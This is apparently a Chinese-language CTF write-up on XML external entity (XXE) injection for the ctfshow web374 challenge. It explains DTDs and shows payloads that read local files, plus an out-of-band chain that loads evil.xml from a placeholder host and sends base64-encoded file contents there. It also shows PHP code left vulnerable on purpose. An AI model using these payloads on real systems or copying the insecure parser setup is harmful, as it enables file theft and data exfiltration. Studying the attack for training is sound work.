xxe

0x00 基础

​ 题目来源于ctfshow web374,是翔哥问的题,复现一下。

​ 这道题考的是xml外部实体注入。XML 指可扩展标记语言(EXtensible Markup Language),XML 是一种标记语言,很类似 HTML,被设计为传输和存储数据,其焦点是数据的内容 XML 被设计用来结构化、存储以及传输信息, 允许创作者定义自己的标签和自己的文档结构。其优点就是可以跨越互联网任何的平台,不受编程语言和操作系统的限制,非常适合Web传输,而且xml有助于在服务器之间穿梭结构化数据,方便开发人员控制数据的存储和传输。

DTD概念

​ 文档类型定义(DTD)可以被声明在XML的文档中,也可以作为一个外部的引用。举例说明:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="utf-8"?>
<!--导入外部dtd文件-->
<!DOCTYPE Students SYSTEM "Students.dtd">

<Students>
<Student num="z001">
<name>小明</name>
<sex></sex>
<age>20</age>
<subject><![CDATA[数学&英语]]></subject>
<sport>篮球</sport>
</Student>
</Students>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<![ IGNORE [定义Student子元素必须在 Studens父元素内,且出现至少一次。]]>
<!ELEMENT Students (Student+)>

<![ IGNORE [ 设置Student元素中必须有name,age,subject,sport元素并且他们的出现顺序也必须是这样的]]>
<!ELEMENT Student (name,sex,age,subject,sport)>

<![ IGNORE [ 设置num属性为必需且唯一的但是属性的值不能是以数字开头]]>
<!ATTLIST Student num ID #REQUIRED>

<![ IGNORE [ !ELEMENT name 定义 name 元素为 "#PCDATA" 类型]]>
<!ELEMENT name (#PCDATA)>
<!ELEMENT sex (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT subject (#PCDATA)>
<!ELEMENT sport (#PCDATA)>

​ 内部实体引用举例:

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE catalog [
<!ENTITY company_name "ABC Corporation">
<!ENTITY phone_number "(555) 123-4567">
]>
<catalog>
<product>
<name>Product A</name>
<description>
&company_name; &phone_number;.
</description>
</product>
</catalog>

XXE漏洞

​ 如果开发人员在开发时允许引用外部实体DTD时,恶意用户便会利用这一漏洞构造恶意语句。从而引发文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等。如下图所示:

image-20230217195611047

​ XXE也分为有回显和无回显。

有回显示例如下:

1
2
3
4
<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);
?>
1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///D://1.txt">]>
<root>&file;</root>

无回显举例如下:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx/evil.xml">
%dtd;
%send;
]>

​ evil.xml:

1
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx/?content=%file;'>"> %payload;

​ 具体过程就是:先 %dtd 请求远程服务器(攻击机)上的 evil.xml,然后 %payload 调用了 %file ,%file 获取对方服务器上的敏感文件,最后调用%send,数据被发送到我们远程的服务器,就实现了数据的外带。

0x01 web374复现

​ 访问后php代码如下:

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

​ 按照博客:https://blog.csdn.net/weixin_49656607/article/details/119926513

​ 最后得到:

image-20230217202741573

留言

2023-02-17

© 2024 wd-z711

⬆︎TOP